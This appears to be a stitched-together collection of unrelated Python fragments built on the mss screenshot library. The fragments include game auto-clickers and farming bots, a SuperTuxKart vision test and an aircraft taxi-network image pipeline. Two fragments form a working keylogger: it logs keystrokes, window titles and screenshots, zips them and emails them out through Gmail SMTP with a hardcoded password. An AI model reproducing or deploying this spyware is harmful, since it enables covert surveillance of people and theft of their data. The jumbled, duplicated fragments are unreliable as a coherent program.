scroll down screen for y in range(bounds[2],bounds[3],res): # scroll across screen # moves mouse if in dev mode. slower this way if self.params['_dev_mode']: self.mouser.mousemove(x,y) # take local screenshot in square with sides 2*res around # each x,y point. lsct = np.array(sct.grab({ "top": y-res, "left": x-res, "width": 2*res, "height": 2*res})) # crop the init_sct to the same size and location as lsct cropped = init_sct[ y-res-cap_area['top']:y+res-cap_area['top'], x-res-cap_area['left']:x+res-cap_area['left']] # if near edge of screen, shapes will likely be different, # and the arrays cannot be compared if lsct.shape != cropped.shape: continue mean_diff = [np.mean(lsct) - np.mean(cropped)] # more dev mode printing if self.params['_dev_mode']: print(mean_diff[0]) # asks if the difference in means is above the param color # value threshold if mean_diff[0] > self.params['bob_color_diff']: # bool marking valid bob_loc coordinates is_valid_pt = True # color difference passed the threshold. This may be the # bobber, but could also be a water effect or a passing # player. Take params['sct_check_iters'] more screen- # -shots and skip this point if not all of them are # above the threshold. Sleeps for # params['sct_check_pause'] seconds after each shot. for i in range(self.params['sct_check_iters']): lsct = np.array(sct.grab({ "top": y-res, "left": x-res, "width": 2*res, "height": 2*res})) new_diff = np.mean(lsct) - np.mean(cropped) if new_diff < self.params['bob_color_diff']: is_valid_pt = False break mean_diff.append(new_diff) time.sleep(self.params['sct_check_pause']) # check the bob_loc_bool switch. Should be False if # any of the screenshot checks were below threshold if is_valid_pt: print("|-- Color difference of " + \ str(np.mean(mean_diff)) + " detected") bob_loc_lst.append([x,y]) # appends the mean color difference of all verifying # screenshots weight_lst.append(np.mean(mean_diff)) self.mouser.mousemove(x,y) # noticeable pause for each hit in dev mode if self.params['_dev_mode']: time.sleep(.1) # return false if no color difference was detected if len(bob_loc_lst) == len(weight_lst) == 0: return False # convert to arrays bob_loc_arr = np.array(bob_loc_lst) weight_arr = np.array(weight_lst) # calculate the weighted average of the difference map x = np.sum(np.multiply(weight_arr,bob_loc_arr[:,0]))/np.sum(weight_arr) y = np.sum(np.multiply(weight_arr,bob_loc_arr[:,1]))/np.sum(weight_arr) # move mouse to estimated location and return tuple coords self.mouser.mousemove(x,y) return (x,y)
def baigui(): cishu=0 while True: #直到取消,或者出错 if pyautogui.position()[0] >= pyautogui.size()[0] * 0.98: select_mode() #截屏 im = np.array(mss.mss().grab(monitor)) screen = cv2.cvtColor(im, cv2.COLOR_BGRA2BGR) #设定目标,开始查找 #进入后 for i in ['baigui','gailv','douzihuoqu']: want = imgs[i] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('点击',i) xy = action.cheat(pts[0], w, h ) pyautogui.click(xy) t = random.randint(15,30) / 100 time.sleep(t) continue want=imgs['youxiang'] target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('正在邮箱中') want = imgs['guanbi'] size = want[0].shape h, w , ___ = size target = screen pts2 = action.locate(target,want,0) if not len(pts2) == 0: print('关闭窗口',pts2) xx = action.cheat(pts2[0], w, h) pyautogui.click(xx) time.sleep(0.5) want=imgs['inbaigui'] target = screen pts = action.locate(target,want,0) if not len(pts) == 0: #print('正在百鬼中') want = imgs['blank'] target = screen pts = action.locate(target,want,0) if len(pts) == 0: #小怪出现! print('点击小怪') pts2 = (640, 450) xx = action.cheat(pts2, 100, 80) pyautogui.click(xx) time.sleep(0.5) continue want = imgs['jinru'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: cishu=cishu+1 print('进入百鬼:',cishu) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(300,400) / 100 time.sleep(t) want = imgs['kaishi'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('选择界面: ',pts[0]) want = imgs['ya'] size = want[0].shape h, w , ___ = size target = screen pts2 = action.locate(target,want,0) if not len(pts2) == 0: print('点击开始: ',pts[0]) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(15,30) / 100 time.sleep(t) else: #选择押注 index=random.randint(0,2) pts2 = (300+index*340, 500) print('选择押注: ',index) xy = action.cheat(pts2, w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(15,30) / 100 time.sleep(t) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(15,30) / 100 time.sleep(t) want = imgs['fenxiang'] size = want[0].shape h, w , ___ = size target = screen pts = action.locate(target,want,0) if not len(pts) == 0: print('结束界面: ',pts[0]) pts[0]=(1200, 100) xy = action.cheat(pts[0], w, h-10 ) pyautogui.click(xy) pyautogui.moveTo(xy) t = random.randint(15,30) / 100 time.sleep(t)
def capture(region): img = np.array(mss.mss().grab(region)) img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return img
#pic_region = {'top': 0, 'left': 0, 'width': 1280, 'height': 960} pic_region = {'top': 0, 'left': 0, 'width': 1960, 'height': 1080} FILE_NAME = RESULT_DIR + '/supertuxkart_cv_action_time.csv' output_file = open(FILE_NAME, "w") columnTitleRow = "DATE TIME CV_TIME LSTM_TIME CYCLE_TIME\n" output_file.write(columnTitleRow) # Launch the graph all_stops = [[140, 1000], [145, 845], [98, 814], [90, 680], [130, 645], [180, 670], [184, 750], [200, 850]] all_shape = np.reshape(all_stops, 16) last_position = all_stops[0] profile_position_before = [127, 1045] with mss.mss(display=':0.0') as sct: detector = TOD(sct, model_dir, label_dir, num_class, pic_region, all_stops, all_shape, last_position) detection_graph = detector._load_model() start = 0 iteration_index = 0 config = tf.ConfigProto() config.intra_op_parallelism_threads = 1 config.inter_op_parallelism_threads = 1 with tf.Session(config=config) as session: session.run(init) if os.path.isfile(logs_path + "checkpoint"): saver.restore(session, logs_path + "lstm-model") with tf.Session(graph=detection_graph, config=config) as sess: #figure_vector:[[3 points][ angle ][10 points]] missing_count = 0
def __init__(self, screen_id=0): """Function assign value to the '_screen_id' and '_screen_list' Screen parameters.""" self._screen_id = screen_id self._screen_list = [item for item in mss.mss().monitors[1:]] Region.__init__(self, get_screen_details(self._screen_list, self._screen_id))
def screenshot(): # to take screenshot with mss() as screen: screen.shot()
import h5py import time import mss import cv2 import os filename = "../../models/KJ_TaxiNet.nnet" network = NNet(filename) ### IMPORTANT PARAMETERS FOR IMAGE PROCESSING ### stride = 16 # Size of square of pixels downsampled to one grayscale value numPix = 16 # During downsampling, average the numPix brightest pixels in each square width = 256 // stride # Width of downsampled grayscale image height = 128 // stride # Height of downsampled grayscale image screenShot = mss.mss() monitor = {'top': 100, 'left': 100, 'width': 1720, 'height': 960} screen_width = 360 # For cropping screen_height = 200 # For cropping OUTFILE = "controller_test.h5" def getCurrentImage(): # Get current screenshot img = cv2.cvtColor(np.array(screenShot.grab(monitor)), cv2.COLOR_BGRA2BGR)[230:, :, :] img = cv2.resize(img, (screen_width, screen_height)) img = img[:, :, ::-1] img = np.array(img)
def rep(key): global z1 global halfanhour global written global z global current global now global EWin global file_name #The line below is for replacing the name of the key into its function. i.g. <Key.enter: <13>>'into '\n' and so on. e = str(written) e = e.replace("'", '') e = e.replace(',', '') e = e.replace('[', '') e = e.replace(']', '') e = e.replace('<Key.esc: <27>>', '\n Stopping\n Stopping\n Stopping\n') e = e.replace('<Key.space: >', ' ') e = e.replace('<Key.enter: <13>>', '\n') e = e.replace('<Key.shift_r: <161>><Key.alt_r: <165>>', ' (Language changed) ') e = e.replace('<Key.backspace: <8>>', '"@!@"') e = e.replace('<Key.shift_r: <161>>', '"SHIFT"') e = e.replace('<Key.down: <40>>', '"^*"') e = e.replace('<Key.up: <38>>', '^') e = e.replace('<Key.right: <39>>', '>') e = e.replace('<Key.left: <37>>', '<') #appending the pressed key into the file after editing it. #it will append the name of the window that the user uses, once the time changes or the used window is changed. os.chdir(pics) with mss() as ms: filename = ms.shot(output=str(now0) + " " + str(now1) + str(0) + ".jpg") import datetime todays_file = open(file_name, 'a') if now != datetime.datetime.now().strftime("%I:%M %p"): todays_file.write('\n' + datetime.datetime.now().strftime("%I:%M: %p") + '\n') if current != GetWindowText(GetForegroundWindow()): todays_file.write('\n' + GetWindowText(GetForegroundWindow()) + '\n') todays_file.write(e) todays_file.close() if now != datetime.datetime.now().strftime( "%I:%M %p") or current != GetWindowText(GetForegroundWindow()): zz = str(z) os.chdir(pics) with mss() as ms: filename = ms.shot(output=str(now0) + " " + str(now1) + zz + ".jpg") z += 1 written = [] current = GetWindowText(GetForegroundWindow()) now = datetime.datetime.now().strftime("%I:%M %p") from datetime import datetime #for compressing the file and send it to the meant email every ten minutes. if time.ctime(halfanhour) <= time.ctime(): ##A code in case the user do not have an internet connection. try: za = str(z1) os.chdir("D:\\Ewin") shutil.make_archive(todays_date + za, 'zip', "D:\\Ewin\\" + todays_date) halfanhour = time.time() + 600 z1 += 1 fromaddr = "*****@*****.**" toaddr = "*****@*****.**" msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = todays_date body = todays_date + str(now) msg.attach(MIMEText(body, 'plain')) filename = todays_date + za attachment = open("D:\\Ewin\\" + todays_date + za + ".zip", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "togetyour5a5a") text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit() # it will wait more ten minute then will retry. except: halfanhour = time.time() + 400
def get_screen_shot(): with mss() as sct: monitor = sct.monitors[1] sct_img = sct.grab(monitor) return sct_img
#this line for getting the window which the used is using current = GetWindowText(GetForegroundWindow()) pics = "D:\\Ewin\\" + todays_date + "\\keylogger\\Pics\\" #halfanhour is the time by which the program will compress the data and send it to the email halfanhour = time.time() + 600 #at the begining:the program will take a screenshot and will append the name of the window the user is using file_name = 'D:\\EWin\\' + todays_date + "\\keylogger\\" + todays_date + '.txt' todays_file = open(file_name, 'a') todays_file.write(now + '\n') todays_file.write(current + '\n') todays_file.close() os.chdir(pics) with mss() as ms: filename = ms.shot(output=str(now0) + " " + str(now1) + str(0) + ".jpg") #This is the main function of the program and it is called rep (repeate) because it will be repeated with every key press. def rep(key): global z1 global halfanhour global written global z global current global now global EWin global file_name #The line below is for replacing the name of the key into its function. i.g. <Key.enter: <13>>'into '\n' and so on.
def __init__(self): self.sct = mss()
) # Contour. Define resolution. True = contours are closed. print(len(approx)) # Print the numbers of corners of each shape. if len(approx) >= 8: detected = True else: detected = False return detected # Define data mon_width = 1920 mon_height = 1080 full_mon = {'top': 0, 'left': 0, 'width': mon_width, 'height': mon_height} sct_full_mon = mss() kernel = np.ones((5, 5), np.uint8) while 1: sct_full_mon.get_pixels(full_mon) # Full monitor frameRGB_mon = np.array( Image.frombytes('RGB', (sct_full_mon.width, sct_full_mon.height), sct_full_mon.image)) frameBGR_mon = cv2.cvtColor(frameRGB_mon, cv2.COLOR_RGB2BGR) frameGray_mon = cv2.cvtColor(frameBGR_mon, cv2.COLOR_BGR2GRAY) # Cursor frameBGR_cursor = cv2.resize(frameBGR_mon[500:580, 930:990], (200, 300)) frameCanny_cursor = cv2.Canny(frameBGR_cursor, 50, 50)
def __init__(self, path, imagePath, frameRateNonAnalysis, bounding_box, averageMouseDeplacement, averageWaitingTime, Refill, TypeName): self._start = False self._path = path self._imagePath = imagePath self._frameRateNonAnalysis = frameRateNonAnalysis self._bounding_box = bounding_box self._averageMouseDeplacement = averageMouseDeplacement self._averageWaitingTime = averageWaitingTime self._Refill = Refill self._TypeName = TypeName self._typeRun = { 'Dungeon': [['Victory', 3, 1], ['Cross', 1, 1]], 'Rifts': [['Damage', 5, 1], ['Cross-Rift', 1, 1]] } self._bestLocation = (0, 0) self._ui_template = { 'Rejouer': { 'image': cv2.imread(str(self._imagePath / 'Rejouer.jpg'), 0), 'match_score': 9037656.0, 'name': 'Rejouer' }, 'Cross': { 'image': cv2.imread(str(self._imagePath / 'Cross.jpg'), 0), 'match_score': 100000.0, 'name': 'Cross' }, 'Oui': { 'image': cv2.imread(str(self._imagePath / 'Oui.jpg'), 0), 'match_score': 6000312.0, 'name': 'Oui' }, 'Fermer': { 'image': cv2.imread(str(self._imagePath / 'Fermer.jpg'), 0), 'match_score': 3665168.0, 'name': 'Fermer' }, '+90': { 'image': cv2.imread(str(self._imagePath / '+90.jpg'), 0), 'match_score': 3532480.0, 'name': '+90' }, 'Ok': { 'image': cv2.imread(str(self._imagePath / 'Ok.jpg'), 0), 'match_score': 1445952.0, 'name': 'Ok' }, 'Shop': { 'image': cv2.imread(str(self._imagePath / 'Shop.jpg'), 0), 'match_score': 3532480.0, 'name': 'Shop' }, 'Non': { 'image': cv2.imread(str(self._imagePath / 'Non.jpg'), 0), 'match_score': 200056.0, 'name': 'Non' }, 'Preparation': { 'image': cv2.imread(str(self._imagePath / 'Preparation.jpg'), 0), 'match_score': 400056.0, 'name': 'Preparation' }, 'Go': { 'image': cv2.imread(str(self._imagePath / 'Go.jpg'), 0), 'match_score': 1800056.0, 'name': 'Go' }, 'Victory': { 'image': cv2.imread(str(self._imagePath / 'Victory.jpg'), 0), 'match_score': 152788.0 / 1.9, 'name': 'Victory' }, 'Damage': { 'image': cv2.imread(str(self._imagePath / 'Damage.jpg'), 0), 'match_score': 152788.0 / 1.9, 'name': 'Damage' }, 'Cross-Rift': { 'image': cv2.imread(str(self._imagePath / 'Cross-Rift.jpg'), 0), 'match_score': 152788.0 / 1.9, 'name': 'Cross-Rift' } } self._orderSuccess = [ self._typeRun[self._TypeName][0], self._typeRun[self._TypeName][1], ['Cross', 1, 0], ['Rejouer', 1, 1], ['Shop', 1, Refill], ['+90', 1, 1], ['Oui', 1, 1], ['Ok', 1, 1], ['Fermer', 1, 1], ['Rejouer', 1, 1] ] self._orderFail = [['Non', 1, 1], ['Victory', 1, 1], ['Preparation', 1, 1], ['Go', 1, 1], ['Shop', 1, Refill], ['+90', 1, 1], ['Oui', 1, 1], ['Ok', 1, 1], ['Fermer', 1, 1], ['Rejouer', 1, 1], ['Go', 1, 1]] self._sct = mss() self._learn_inf = self._path self._actu_pred = False self._prev_preds = [] self._i = frameRateNonAnalysis self._c = 0 self._forcePath = False self._endAction = False self._nbRun = 0 self._nbVictory = 0 self._time = {"start": 0, "stop": 0, "last": 0} self._startedTime = False self._lastTime = 0 self._checkedPred = "None"
def get_display_factor(): main_display = MONITORS[0] screenshot = mss.mss().grab(main_display) display_factor = screenshot.width / screenshot.height return display_factor